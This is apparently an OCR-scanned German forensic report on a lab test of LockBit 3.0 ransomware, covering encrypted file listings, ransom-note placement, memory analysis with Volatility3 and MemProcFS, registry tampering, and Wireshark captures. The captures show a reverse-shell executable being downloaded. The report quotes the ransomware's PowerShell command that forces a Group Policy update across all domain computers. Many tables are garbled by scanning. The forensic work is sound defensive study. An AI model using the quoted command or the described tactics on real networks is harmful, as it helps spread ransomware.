Willkommen bei Word - Kopie.doc 759 KB doc 24.04.2023 \home\pi\Desktop\Testdaten
Willkommen bei Word - Kopie (3).doc 759 KB doc 24.04.2023 \home\pi\Desktop\Testdaten
Willkommen bei Word - Kopie (2).doc 759 KB doc 24.04.2023 \home\pi\Desktop\Testdaten
_1 & Willkommen bei Word.pdf 326 KB pdf 24.04.2023 \home\pi\Desktop\Testdaten
u| llkommen bei Word - Kopie (2).pdf 326 KB pdf 24.04.2023 \home\pi\Desktop\Testdaten
1 & Willkommen bei Word - Kopie.pdf 326 KB pdf 24.04.2023 \home\pi\Desktop\Testdaten
| %/ Willkommen bei Word - Kopie (3).pdf 326 KB pdf 24.04.2023 \home\pi\Desktop\Testdaten
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsx 95,8 KB xlsx 24.04.2023 \home\pi\Desktop\Testdaten
Gantt-Diagramm zur Datumsnachverfolgung1.xlsx 95,8 KB xlsx 24.04.2023 \home\pi\Desktop\Testdaten
| %| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xIsx 95,8 KB xlsx 24.04.2023 \home\pi\Desktop\Testdaten
1 % Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xls 583 KB xls 24.04.2023 \home\pi\Desktop\Testdaten
| % Gantt-Diagramm zur Datumsnachverfolgung1.xls 583 KB xls 24.04.2023 \home\pi\Desktop\Testdaten
| %/ Gantt-Diagramm zur Datumsnachverfolgung1 - Kopiexls 583 KB xls 24.04.2023 \home\pi\Desktop\Testdaten
Gantt-Diagramm zur Datumsnachverfolgung1.xIsm 95,8 KB xlsx 24.04.2023 \home\pi\Desktop\Testdaten
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopiexlsm 95,8 KB xlsx 24.04.2023 \home\pi\Desktop\Testdaten
| %| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm 95,8 KB xlsx 24.04.2023 \home\pi\Desktop\Testdaten
_1 % Gantt-Diagramm zur Datumsnachverfolgung1.xps 435 KB xps 24.04.2023 \home\pi\Desktop\Testdaten
_| % Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps 435 KB xps 24.04.2023 \home\pi\Desktop\Testdaten
-1 & Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps 435 KB xps 24.04.2023 \home\pi\Desktop\Testdaten
Willkommen bei PowerPoint.pptx 3,6 MB pptx 24.04.2023 \home\pi\Desktop\Testdaten
Willkommen bei PowerPoint.ppt 3,5 MB ppt 24.04.2023 \home\pi\Desktop\Testdaten
1 % Willkommen bei PowerPoint.pptm 3,6 MB pptx 24.04.2023 \home\pi\Desktop\Testdaten
_1 & Willkommen bei PowerPoint.pdf 741 KB pdf 24.04.2023 \home\pi\Desktop\Testdaten
| @tree5-7937129_960_720jpg 150 KB jpg 24.04.2023 \home\pi\Desktop\Testdaten
1 [1] trees-7937129_960_720 - Kopie (3).jpg 150 KB jpg 24.04.2023 \home\pi\Desktop\Testdaten
1[3) trees-7937129_960_720 - Kopie (2).jpg 150 KB jpg 24.04.2023 \home\pi\Desktop\Testdaten
1 1) trees-7937129_960_720 - Kopie,jpg 150 KB jpg 24.04.2023 \home\pi\Desktop\Testdaten
[iJistockphoto-1221620132-612x612 - Kopie (2).jpg 29,2 KB jpg 24.04.2023 \home\pi\Desktop\Testdaten
_I[]istockphoto-1221620132-612x612 - Kopie (3).jpg 29,2 KB jpg 24.04.2023 \home\pi\Desktop\Testdaten
I [xistockphoto-1221620132-612x612 - Kopie,jpg 29,2 KB jpg 24.04.2023 \home\pi\Desktop\Testdaten
I [Jistockphoto-1221620132-612x612,jpg 29,2 KB jpg 24.04.2023 \home\pi\Desktop\Testdaten

Abbildung 52: Nicht verschliisselte Testdaten bei fehlender Netzwerkfreigabe
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8.1.5.1 10C: Verschliisselung der Nutzerdateien

Alle auf dem Netzlaufwerk abgelegten und damit Uber das Laptop zugreifbaren
Nutzerdateien wurden, analog zum Desktop-PC, vollstandig verschlusselt:

1[_) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIs.oNi7oNLq9

1) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm.bNi7oNLg9
1) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsx.bNi7oNLq9  _\home\pi\pi-share\Testdaten
1 ) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps.bNi7oNLq9  ,\home\pi\pi-share\Testdaten
1 ) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xls.oNi7oNLg9

1) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xIsm.bNi7oNLg9
1) Gantt-Diagramm zur Datumsnachverfolgung1 - KopiexIsx.oNi7oNLg9
1) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps.bNi7oNLq9
1) Gantt-Diagramm zur Datumsnachverfolgung1.xls.oNi7oNLq9

1) Gantt-Diagramm zur Datumsnachverfolgung 1.xIsm.bNi7oNLq9

1) Gantt-Diagramm zur Datumsnachverfolgung1.xIsx.oNi7oNLq9

1) Gantt-Diagramm zur Datumsnachverfolgung 1.xps.bNi7oNLq9

1 [ Jistockphoto-1221620132-612x612 - Kopie (2).jpg.bNi7oNLq9

J Distockphoto-1221620132-612x612 - Kopie (3).jpg.bNi7oNLq9
1[Jistockphoto-1221620132-612x612 - Kopie.jpg.bNi7oNLq9

J Distockphoto-1221620132-612x612,jpg.bNi7oNLg9

\home\pi\pi-share\Testdaten
4\home\pi\pi-share\Testdaten
_\home\pi\pi-share\Testdaten

1 [ trees-7937129_960_720 - Kopie (2).jpg.bNi7oNLq9
1 [Jtrees-7937129_960_720 - Kopie (3).jpg.bNi7oNLq9
1 Jtrees-7937129_960_720 - Kopie,jpg.bNi7oNLq9

1 D) trees-7937129_960_720,jpg.bNi7oNLq9

1 JWillkommen bei PowerPoint.pdf.obNi7oNLq9

1 [ JWillkommen bei PowerPoint.ppt.bNi7oNLq9

1 [ JWillkommen bei PowerPoint.pptm.bNi7oNLq9

1 JWillkommen bei PowerPoint.pptx.oNi7oNLq9

1 [JWillkommen bei Word - Kopie (2).doc.bNi7oNLq9
1 JWillkommen bei Word - Kopie (2).docx.bNi7oNLq9
1 [ JWillkommen bei Word - Kopie (2).pdf.bNi7oNLq9

I [ JWillkommen bei Word - Kopie (3).doc.bNi7oNLq9
1 JWillkommen bei Word - Kopie (3).docx.bNi7oNLg9
1 [JWillkommen bei Word - Kopie (3).pdf.bNi7oNLq9

1 JWillkommen bei Word - Kopie.doc.bNi7oNLq9

1 [ JWillkommen bei Word - Kopie.docx.bNi7oNLg9

1 [ JWillkommen bei Word - Kopie.pdf.obNi7oNLq9

1 Willkommen bei Word.doc.bNi7oNLg9

1 JWillkommen bei Word.docx.bNi7oNLq9

1 JWillkommen bei Word.pdf.bNi7oNLg9

Abbildung 53: Verschliisselte Testdaten auf dem Netzlaufwerk
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gl pi-share\Testdaten
4\home\pi\pi-share\Testdaten
_\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
.\home\pi\pi-share\Testdaten
_\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
.\home\pi\pi-share\Testdaten
.\home\pi\pi-share\Testdaten
_\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
.\home\pi\pi-share\Testdaten
.\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
\home\pi\pi-share\Testdaten
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8.1.5.2 I0C: Platzierung der Kontakt- und Entschliisselungsanleitung

Auch auf dem untersuchten Datentrager des Raspberry Pi ZerO wurde in allen
Uber das Netzwerk erreichbaren Ordnern die inhaltlich zu den anderen

Asservaten identische Textdatei abgelegt:

IEIbNi70NLg9.README.txt \\home\pi\pi-share
IE1bNi70NLg9.README .txt home\pi\pi-share\Testdaten

Abbildung 54: Textdatei mit Kontakt- und Entschliisselungsanleitung auf dem Netzlaufwerk

Die vorgenommene Volltextsuche hat keine Erkenntnisse zu weiteren
Veranderungen im Datenbestand erbracht, mit Ausnahme der im Ext4-
Dateisystem vorhandenen und aufgrund der LockBit-Verschlisselung
angepassten .journal-Eintrage, die jedoch auf eine Reaktion des Dateisystems

auf die VerschlUsselungsoperationen zurtckzufuhren sind.
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8.1.5.3 Zusammenfassung der |0Cs auf dem netzangebundenen
Raspberry Pi Zer0

Die nachgewiesenen IOCs im Datenbestand des Raspberry Pi Zer0 konnen

folgendermalden zusammengefasst werden:
[ Ungewohnliche Dateizugriffe / Zustandsanderung
Verschlusselung der Nutzerdateien auf dem Netzlaufwerk
u Wiederholtes Schreiben derselben Datei in ungewohnlichem Ausmal}

- Platzierung der Kontaktanleitung als Textdatei (Uber Laptop)

Eine weitergehende, durch LockBit direkt hervorgerufene Beeinflussung des
Testsystems ist nicht erkennbar.

Nach Durchfuhrung der Post-Mortem-Analyse aller Datentrager kann das bei
Beobachtung des Testsystems registrierte Verhalten der LockBit-Schadsoftware
auf Ebene des Datenbestandes weitestgehend bestatigt werden, eine
Verbreitung Uber das Netzwerk ist nicht festzustellen, Dateien werden nur
verschlUsselt, sofern sie Uber lokal eingerichtete Netzlaufwerke, also analog zu
herkdmmlichen Partitionen, verfugbar sind.

Nicht direkt erkennbar war die teilweise Unbrauchbarmachung der Anwendungen
und Apps auf dem primar angegriffenen Laptop, diese Dateiverdnderungen
konnten anhand der Post-Mortem-Forensik festgestellt werden.
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8.2 Auswertung des Arbeitsspeichers

Der Auswertung des Arbeitsspeichers ist aus mehreren Grunden Kkritisch.
Einerseits sind hier die laufende Prozesse, welche auch auf Malware sowie
unerwunschte Anwendungen oder andere verdachtige Aktivitaten hinweisen
konnen. Andererseits sind dort wichtige Informationen, wie Netzwerk-
verbindungen, Anmeldedaten, Zeitstempel fur Benutzeraktivitdten und teilweise
auch Verschlusselungsschlussel bei Ransomware-Angriffen.

Bei LockBit 3.0 kann kein Verschlusselungsschlissel im Arbeitsspeicher

gefunden werden.

Eine erste Auswertung der *.raw-Files wurde anhand von Volatility3 durchgefuhrt.
Leider liest Volatility3 bei jedem neuen Befehl die *.raw-File neu ein, was es
nahezu unmoglich macht, eine Analyse ohne extremen Zeitaufwand

durchzufthren.

In Volatitlity3 konnen mithilfe der Befehle: ,pslist, psscan, pstree, vadinfo,
vadwalk, memmap, cmdline® unzulassige Prozesse identifiziert werden. Im
Anschluss kann mit dlllist Prozess-DLLs und -Handles analysiert werden.
Prozess-DLLs sind in Betriebssystemumfeld wichtige Dateien. Diese sind
dynamisch geladene Bibliotheken, die Code- und Datenmodule enthalten,
welche von einem oder mehreren Prozessen wahrend ihrer Ausflihrung
verwendet werden. Prozess-Handles enthalten Referenzen, die es einem
Prozess ermdoglichen, auf Systemressourcen wie Dateien, Registry-Schlussel

oder andere Prozesse zuzugreifen.

Die folgenden Abbildungen stellen eine erste Auswertung Prozessliste der *.raw-
Files dar.
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B Windows PowerShell X + v

PS C:\Users\jan—h\OneDrive\Desktop\ISO\volatility3> python.exe .\vol.py C:\Users\jan-h\OneDrive\Desktop\Projekt_2_Files\pcl.raw windows.pstree.PsTree
Volatility 3 Framework 2.4.1
Progress: 100.00 PDB scanning finished

D ImageFileName Offset(V) Threads Handles SessionId Wowe4  CreateTime ExitTime

System ©xe507e7865040 169 False 2023-07-26 05: . N/A
smss.exe 0xe507e9b32040 N/A False 2023-07-26 120:03.000000
MemCompression 0xe507f202u4080 N/A False 2023-07-26 : .000000
Registry 0xe507e78b7080 N/A False 2023-07-26 : .000000
csrss.exe 0xe507eea39140 ] False  2023-07-26 :120:16.000000
592 wininit.exe 0xe507149b08eo (<] False  2023-07-26 05: 000000
696 services.exe 0xe507f15a10c0 False 2023-07-26 : .000000
*% 2560 768 RtkAudioServic 0xe5072337300 2 False 2023-07-26 05:20:17.000000
H%%k 3624 2560 RAVBg64 . exe 0xe507f297f080 1 False 2023-07-26 05:20:18.000000
** 3596 768 jhi_service.ex 0xe507f2929080 2 False 2023-07-26 05:20:18.000000 N/A
** 5648 768 svchost.exe 0xe507f30bak80 3 False 2023-07-26 05:20:56.000000 N/A
*% 10776 768 WUDFHost . exe 0xe507f4b6d08o ] False 2023-07-29 23:52:30.000000
** 46UO 768 svchost.exe 0xe507f2cdbe80 4 False 2023-07-26 05:20:20.000000 N/A
** 1060 768 svchost.exe 0xe507f20c3080 9 False 2023-07-26 05:20:17.000000 N/A
*%% 6808 1060 MicrosoftEdgeU 0xe5075dfu40860 o True 2023-07-29 19:37:27.000000
**x 5764 1060 taskhostw.exe 0xe507f315b080 1 False 2023-07-26 05:20:56.000000
** 3112 768 svchost.exe 0xe507f159a280 2023-07-26 05:20 .000000 N/A
3120 768 OneApp.IGCC.Wi ©xe507f15b40cO 2023-07-26 05: .000000 N/A
7728 768 svchost. 0xe507f3939300 2023-07-26 05: . 000000 N/A
1076 768 svchost.exe 0xe507f24f7300 2023-07-26 05: .000000 N/A
3128 768 svchost. 0xe507f15b60cO 2023-07-26 05:20:18.000000 N/A
2620 768 svchost. 0xe507f2349300 2023-07-26 05: .000000 N/A
5692 768 svchost. 0xe507f30d2080 2023-07-26 05: .000000 N/A
3136 768 svchost. 0xe507f2587300 2023-07-26 05:20:18.000000 N/A
8260 768 svchost. 0xe507f47b8080 2023-07-29 23: .000000 N/A
3144 768 svchost. 0xe507f2574300 2023-07-26 05: .000000 N/A
1616 768 svchost. 0xe507f1f10300 2023-07-26 05:20:17.000000 N/A
6224 768 svchost. 0xe507f39b3300 2023-07-26 05: .000000
2644 768 svchost. 0xe507f2354300 2023-07-26 05: .000000
3156 768 TPMProvisionin ©xe507f25850c0 2023-07-26 05:20:18.000000
7764 768 svchost.exe 0xe507f49f1080 2023-07-29 23: .000000
31e4 768 svchost.exe 0xe507f2582a300 2023-07-26 05: .000000
2144 768 svchost.exe 0xe507f218e300 2023-07-26 05: .000000
2152 768 svchost.exe 0xe507f21912c0 2023-07-26 05: .000000
2664 768 svchost.exe 0xe507f239a0cO 4 2023-07-26 05: . 000000
10352 768 svchost.exe 0xe507fl4ce70cO False
2164 768 svchost.exe 0xe507f219a300 7 2023-07-26 05:20:17.000000
57uU8 768 svchost.exe 0xe507f347a0cd 7 2023-07-26 05:20:57.000000
2692 768 svchost. 0xe507f23a2080 7 2023-07-26 05:20:17.000000

loo I mo |l ©@

OO I POPOOOOOOOOEOHOOO D ®

8260 768 svchost. 0xe507f47b8680 False 2023-07-29 23:43:26.000000 N/A Disabled
8384 768 svchost.exe 0xe507f39ba08e False 2023-07-29 23:50:52.000000 N/A Disabled
7764 768 svchost.exe 0xe507fU9f1080 False  2023-07-29 23:50:52.000000 N/A Disabled
1312 768 svchost.exe 0xe507f3438080 False 2023-07-29 23:50:53.000000 N/A Disabled
6908 2468 audiodg.exe 0xe507f361a080 False 2023-07-29 23:52:30.000000 N/A Disabled
10776 768 WUDFHost . exe 0xe507fub6de8e False 2023-07-29 23:52:30.000000 N/A Disabled
leeed 768 svchost.exe 0xe507fuUdd1080 False  2023-07-29 23:52:31.000000 N/A Disabled
11028 768 svchost.exe 0xe507f7b21280 False 2023-07-29 23:52:55.000000 N/A Disabled
10928 976 WmiPrvSE.exe 0xe507f4bda2cO False 2023-07-29 23:52:59.000000 N/A Disabled
8440 768 svchost.exe 0xe507f56cF280 - False 2023-07-29 23:53:00.000000 N/A Disabled
6916 768 svchost.exe 0xe507f62e2300 False  2023-07-29 23:53:00.000000 N/A Disabled
9176 5328 cmd.exe 0xe507f7cbe3u4e 2 2023-07-29 23:53:19.600000 N/A Disabled

2996 9176 conhost.exe 0xe507f26b9080 False  2023-07-29 23:53:19.000000 Disabled
10644 9176 winpmem_mini_x ©xe507f7b2be8e False 2023-07-29 23:53:48.000000 Disabled
PS C:\Users\jan-h\OneDrive\Desktop\ISO\volatility3>

Abbildung 56: Volatility3 PsList, Quelle: eigene Darstellung

Im Anschluss an die Suche nach unzuldssigen Prozessen kann ein Prozess
extrahiert werden und zum Beispiel mit VirusTotal auf schadliches Verhalten hin

untersucht werden.

Leider dauert die Analyse mit Volitility3 durch das standige Einlesen zu lange, um
dadurch anstandig IOAs und |IOCs festzustellen. Als Alternative bietet sich hier
MemProcFS, welches aus einem Arbeitsspeicher, welcher normalerweise kein

Dateisystem hat, eine hierarchische Ordnerstruktur macht.
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B Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. Alle Rechte vorbehalten.

Installieren Sie die neueste PowerShell fiir neue Funktionen und Verbesserungen! https://aka.ms/PSWindows

PS C:\Users\jan-h\Downloads\MemProcFS_5.8.4> .\MemProcFS.exe s C:\Users\jan-h\OneDrive\Desktop\Projekt_2_
Files\pcl.raw

Initialized 64-bit Windows 10.0.19641

[PLUGIN] Python initialization failed. Python 3.6 or later not found.

https://github.com/ufrisk/MemProcFS
GNU Affero General Public License v3.0

- Version: 5.8.4 (Windows)
Mount Point: SE
Tag: 19641_7b6bd297
Operating System: Windows 10.0.19041 (X6u4)

Abbildung 57: MemProcFS Aufruf, Quelle: eigene Darstellung

MemProcFS kann nach dem Download einfach gedffnet werden und mithilfe von
standardisierten Prozessen durchsucht werden. Auch an dieser Stelle bietet sich
das folgende Vorgehen an:

1. Identifizierung von nicht zulassigen Prozessen,
2. Analyse dieser Prozesse und von Prozess-DLLs und -Handles,

3. Uberprifung von Netzwerkverbindungen,

4. Extraktion von Prozessen und weiteren interessanten Dateien.
@ Neu v N Sortieren = Anzeigen -

26.206.216 KB

26.206.208 KB

= S (\MemProcfs) (s:)

8 Netzwerk

B timx

Abbildung 58: MemProcFS pcl.raw nun als Ordnerstruktur, Quelle: eigene Darstellung

69



Auswertung des Versuchs

<« > v 1 > Dieser PC > S (\\MemProcFS) () > registry > HKU > IT-Forensik > SOFTWARE > Microsoft > Windows > CurrentVersion > Explorer > RecentDocs v G | RecentDocs durchsuchen 2
O start Name
ipg
8 Desktop e
L Downloads Folder
J Dokumente [ (key
PR Bilder (Key )txt
Austausch o
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(]
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Abbildung 59: MemProcFS Auswertung Registry, Quelle: eigene Darstellung

Nach der Ausfuhrung der Ransomware wurden spezifische systemrelevante
Dienste, die mit Datenbanken, Sicherungen und Kommunikation in Verbindung
stehen, abrupt beendet. Zudem wurden kritische Prozesse, die mit
Datenbankmanagement, Office-Anwendungen und weiteren Kernprogrammen
verbunden sind, wie SQL, Oracle, Excel und Outlook, gestoppt. Diese gezielten
Abschaltungen haben das Potenzial, die Datenintegritat, -verfugbarkeit und den
allgemeinen Betrieb des betroffenen Systems erheblich zu beeintrachtigen.

Weiterhin wurden kritische Systemeinstellungen in der Windows-Registry
modifiziert. Die Anderungen umfassen die Anpassung der Gruppenrichtlinien-
Aktualisierungszeiten, die Deaktivierung des Windows SmartScreen-Filters und
erhebliche Modifikationen der Windows Defender-Einstellungen. Daruber hinaus
wurden auch spezifische Funktionen des Echtzeitschutzes von Windows
Defender und einige Firewall-Einstellungen deaktiviert. Solche Anderungen sind
darauf ausgerichtet, gangige Sicherheitsfunktionen von Windows zu umgehen
und die Ransomware-Aktivitaten unentdeckt und ungehindert fortzusetzen.

Zuletzt wurde noch ein GPUpdate -force Befehl festgestellt, welcher den
Computer zwingt, alle Gruppenrichtlinien-Einstellungen sofort neu zu ziehen und

anzuwenden, anstatt auf das standardmaflige Aktualisierungsintervall zu warten.
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1 powershell Get-ADComputer -filter * -Searchbase '%s' | Foreach-Object {

Invoke-GPUpdate -computer $_ .name -force -RandomDelayInMinutes 0}

Abbildung 60: GPUpdate -force Befehl, Quelle: eigene Darstellung

8.3 Auswertung des Netzwerkmitschnittes

Die Auswertung des Netzwerkmitschnitten ist ein kritischer Bestandteil der
Analyse eines Ransomware-Angriffs:

a) Kommunikation mit Command-and-Control-Servern (C2): Ransomware
kommuniziert haufig mit externen Servern, um beispielsweise
Verschlisselungsschlussel abzurufen oder den Angriff zu steuern. Durch
die Uberwachung des Netzwerkverkehrs konnen solche C2-Server
identifiziert werden. In diesem Fall konnte keine Kommunikation mit einem

C2-Server nachgewiesen werden.

b) Veranderungen im Verhalten des Angreifers: Wenn ein Angreifer merkt,
dass Sicherungen oder andere Reaktionsmallnahmen auf einem
betroffenen PC durchgefuhrt werden, kann er seine Strategie andern oder
den Angriff eskalieren. Jedoch kann die Netzwerkkommunikation auch

ohne weitere Installationen

c) Bewegung innerhalb des Netzwerks: Ransomware und Angreifer
versuchen oft, sich innerhalb eines Netzwerks zu bewegen, um mehr
Systeme zu infizieren. Netzwerkmitschnitte konnen Hinweise auf solche

lateralen Bewegungen liefern.

d) Datenexfiltration: Vor der Verschlusselung von Dateien konnen
Ransomware oder zugehdrige Malware versuchen, wertvolle Daten aus
dem Netzwerk zu extrahieren. Das Uberwachen des Netzwerkverkehrs
kann dabei helfen, solche unerwunschten Datenubertragungen zu

erkennen.

e) Integration mit Drittanbietern wie Shodan.io: Dienste wie Shodan.io

konnen verwendet werden, um festzustellen, ob Systeme oder Dienste
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von aulden sichtbar und potenziell gefahrdet sind. Dies kann helfen, die
Angriffsflache und potenzielle Eintrittspunkte fur Angreifer zu

identifizieren.

Es konnte festgestellt werden, dass die Ransomware per SMB2 nach Dateien in
Netzwerkfreigaben sucht und diese Verschlusselt. SMB (in seinen verschiedenen
Versionen, einschlielllich SMB2) ist ein Netzwerkdateifreigabeprotokoll, das es
Computern in einem Netzwerk ermdglicht, auf Dateien und Ordner zuzugreifen,
die auf einem anderen Computer gespeichert sind. Dieses Protokoll wird in

Unternehmensnetzwerken weit verbreitet eingesetzt.

Einerseits vereinfacht sich so eine Netzwerkverbreitung, andererseits kann

LockBit so lokale SicherheitsmalRnahmen umgehen werden.

a) Netzwerkverbreitung: Die Fahigkeit, Dateien uber SMB2 zu manipulieren,
ermoglicht es der Ransomware, sich rasch Uber das gesamte Netzwerk
zu verbreiten. Sobald eine Maschine kompromittiert ist, kann die
Ransomware auf andere Systeme zugreifen, die Uber SMB2 erreichbare

Dateien und Ordner freigeben.

b) Umgehung lokaler Sicherheitsmal3nahmen: Da die Verschlisselung auf
einem Netzlaufwerk und nicht lokal erfolgt, konnten bestimmte lokale
Sicherheitsmallnahmen und Erkennungsmechanismen, die nur auf

einzelnen Endpunkten implementiert sind, umgangen werden.
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M lockbit_ausgefuehrt2.pcapng = s X
Datei Bearbeiten Ansicht Navigation Aufzeichnen Analyse Statistiken Telephonie Wireless Tools Hilfe
am3® R Rex>=2FIs =S aqaaH
Paketiiste Schmal & breit ~ (] GroB- / Kieinschreibung beachten Zeichenkette ~ Lockbit Finden |  Abbrechen
No.  Time Source Destination Protoce Length Info
6..2023-07-29 13:00:14,204307924 192.168.2.104  192.168.2.103  SMB2 182 Close Response 1
6. 2023-67-29 13:00:14,204506350 192.168.2.103  192.168.2.104  SMB2 510 Create Request File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramm zur Datumsnachverfolgungl - Kopie (2).xlsm
6. 2023-07-29 13:00:14,204920147 192.168.2.104  192.168.2.103  SMB2 322 Create Response File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramm zur Datumsnachverfolgungl - Kopie (2).xlsm
6. 2023-07-29 13:00:14,205206480 192.168.2.103  192.168.2.104  SMB2 466 Create Request File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramn zur Datumsnachverfolgungl - Kopie (2).xlsm.bNi7oNLq9;Close
6. 2023-07-29 13:00:14,205601035 192.168.2.104  192.168.2.103  SMB2 202 Create Response, Error: STATUS_OBJECT_NAME_NOT_FOUND;Close Response, Error: STATUS_OBJECT_NAME_NOT_FOUND
6. 2023-07-29 13:00:14,205792517 192.168.2.103  192.168.2.164  SMB2 368 SetInfo Request FILE_INFO/SMB2_FILE_RENAME_INFO File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramn zur Datumsnachverfolgungl ..
6..2023-07-29 13:00:14,206313776 192.168.2.104  192.168.2.13  SMB2 404 Notify Response
6. 2023-07-29 13:00:14,206405276 192.168.2.104  192.168.2.103  SMB2 124 SetInfo Response
6. 2023-07-29 13:00:14,206494017 192.168.2.103  192.168.2.164  SMB2 154 Notify Request
. 2023-07-29 13:00:14,206632887 192.168.2.163  192.168.2.164  SMB2 162 GetInfo Request FILE_INFO/SMB2_FILE_NETWORK_OPEN_INFO File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramm zur Datumsnachverfol..
6. 2023-07-29 13:00:14,206862072 192.168.2.104  192.168.2.163  SMB2 186 GetInfo Response
6. 2023-07-29 13:00:14,207061887 192.168.2.103  192.168.2.164  SMB2 146 Close Request File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramm zur Datumsnachverfolgungl - Kopie (2).xlsm
6..2023-07-29 13:00:14,207354184 192.168.2.104  192.168.2.103  SMB2 276 Notify Response
6. 2023-07-29 13:00:14,207513369 192.168.2.103  192.168.2.164  SMB2 154 Notify Request
6. 2023-07-29 13:00:14,207522313 192.168.2.104  192.168.2.103  SWB2 182 Close Response
6..2023-07-29 13:00:14,207817480 192.168.2.103  192.168.2.164  SMB2 558 Create Request File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramn zur Datumsnachverfolgungl - Kopie (2).xlsm.bNi7oNLq9
6. 2023-07-29 13:00:14,208140165 192.168.2.104  192.168.2.103  SMB2 410 Create Response File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramm zur Datunsnachverfolgungl - Kopie (2).xlsm.bNiZoNLg9
6. 2023-07-29 13:00:14,208841813 192.168.2.103  192.168.2.164  SMB2 171 Read Request Len:98149 Off:0 File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramn zur Datumsnachverfolgungl - Kopie (2).xlsm.bN.
6. 2023-67-29 13:00:14,208870258 192.168.2.103  192.168.2.104  SMB2 534 Create Request File: IT-Forensik\Desktop\Testdaten\Gantt-Diagramm zur Datumsnachverfolgungl - Kopie (2).xlsx
6.. 2023-07-29 13:00:14,200116230 192.168.2.104  192.168.2.103  TCP 1514 445 » 57515 [ACK] Seq=562938 Ack=551011 Win=8212 Len=1460 [TCP segment of a reassembled PDU] =
v Frame 86: 162 bytes on wire (1296 bits), 162 bytes captured (1296 bits) on interface etho, id @ 48 OF CF 41 el 28 00 90 5 d9 21 26 08 80 45 00 H-A-( % E
Sction e Busakafs skasaian Tl
> Interface 1d: 0 (etho) 3 g; 22 :g G 00 60 00 00 00 65 e 53 4d 43 40 o6 z h-SMB@
Encapsulation type: Ethernet (1) 40 01 @0 @0 00 00 00 10 0@ O1 00 30 00 G0 @0 00 00 )
Arrival Time: Jul 29, 2023 13:00:14.145938147 Mitteleuropdische Sommerzeit S0 60 00 14 05 00 00 00 G0 ©0 €0 Ff fe 00 0 05 00
[Tine shift for this packet: 0.000000000 seconds] 00 00 41 00 00 00 00 30 00 00 00 90 00 00 00 00 - -A-- -0
Epoch Time: 1690628414.145938147 seconds gg Zg 22 gg zg gg gg gg gg Zg ;3 gg gé gg gg gg . )
[Time delta from previous captured frame: 0.006217223 seconds] o0 00 o5 05 00 09 o0 50 09 0 25 60 30 o o oo ve
[Time delta from previous displayed frame: 8.000217223 seconds] 00 00
[Time since reference or first frame: 10.056916717 seconds]
Frame Number: 86
Frame Length: 162 bytes (1296 bits)
Capture Length: 162 bytes (1296 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: eth:ethertype:ip:tcp:nbss:smb2]
[Coloring Rule Name: SMB]
[Coloring Rule String: smb || nbss || nbns || netbios]
v Ethernet II, Src: Clevo_d9:21:26 (@0:99:f5:d9:21:26), Dst: HewlettP 41:e1:28 (48:0f:cf:al:
> Destination: HewlettP_41:e1:28 (48:0f:cfi41:e1:28)
> Source: Clevo_d9:21:26 (09:99:f5:d9:21:26)
@ 7 Keine Pakete mit dieser Zeichenkette in der Infospalte gefunden. Pakete: 17757 * Angezelgt: 17757 (100.0%) Profil: Default

Abbildung 61: Wireshark-Auswertung PCAP-File, Quelle: eigene Darstellung

Neben der Verschlisselung durch LockBit kann auch die Reverse Shell bei ihrer

Arbeit beobachtet werden. Eine Reverse Shell ermdglicht es einem Angreifer,

Befehle auf einem kompromittierten System aus der Ferne auszufuhren, indem

sie die Kommunikationsrichtung umkehrt, sodass das Ziel die Verbindung zu

einem vom Angreifer kontrollierten System initiiert.

&% .
am @® RB Re=>=7F
(A[tcpstream eq 12 e )+
o. Time Source Destination Protocol Length Info
2130 2023-07-29 12: 192.168.2.102 192.168.2.103 66 8000 > 64620 [SYN, ACH ERI
2131 2023-07- 1 o .168.2.103 66 [1CP = n] L
2132 2023-07-29 12 192.168.2.103 60 64629 ~ 8000 [ACK] Seq=1 Ac
2137 2023-07-29 12: 192.168.2.103 631 GET /reverse_tcp.exe HTTP/L.1
2138 2023-67-29 192.165.2.102 54 8000 > 64629 [ACK] Seq=1 Ac
2139 2023-67-29 12 192.168.2.102 66 [TCP Dup ACK 213 Win-6412
2140 2023-07-29 12: 192.168.2.102 158 HTTP/1.0 304 N
2141 2023-07 z 162 58 [TCP Retransmission] [PSH.
o 2623-07-29 12:47:26, 566173697 192.168.2.162 54 8000 » 64629 [FIN, ACK] 5e=105 Ack=578 Win-64128 Len=0
-2 1 04 102 60 [TCP Retransmission] 8000 - [FIN, ACK] Seq=105 Ack=578 b -0
2144 2023-07-29 12: 192.165.2.103 60 64629 - 5000 [ACK] 5eq=578 Ack=106 Win=2102272 Len=
| 2145 2023-07-29 12 192.168.2.103 60 64629 > 8000 [FIN, ACK] Seq=578 Ack=106 Win=2102272 Len=0
2146 2023-07-29 12 192.168.2.102 54 8000 > 64629 [ACK] Seq=106 Ack=579 Win-64128 L
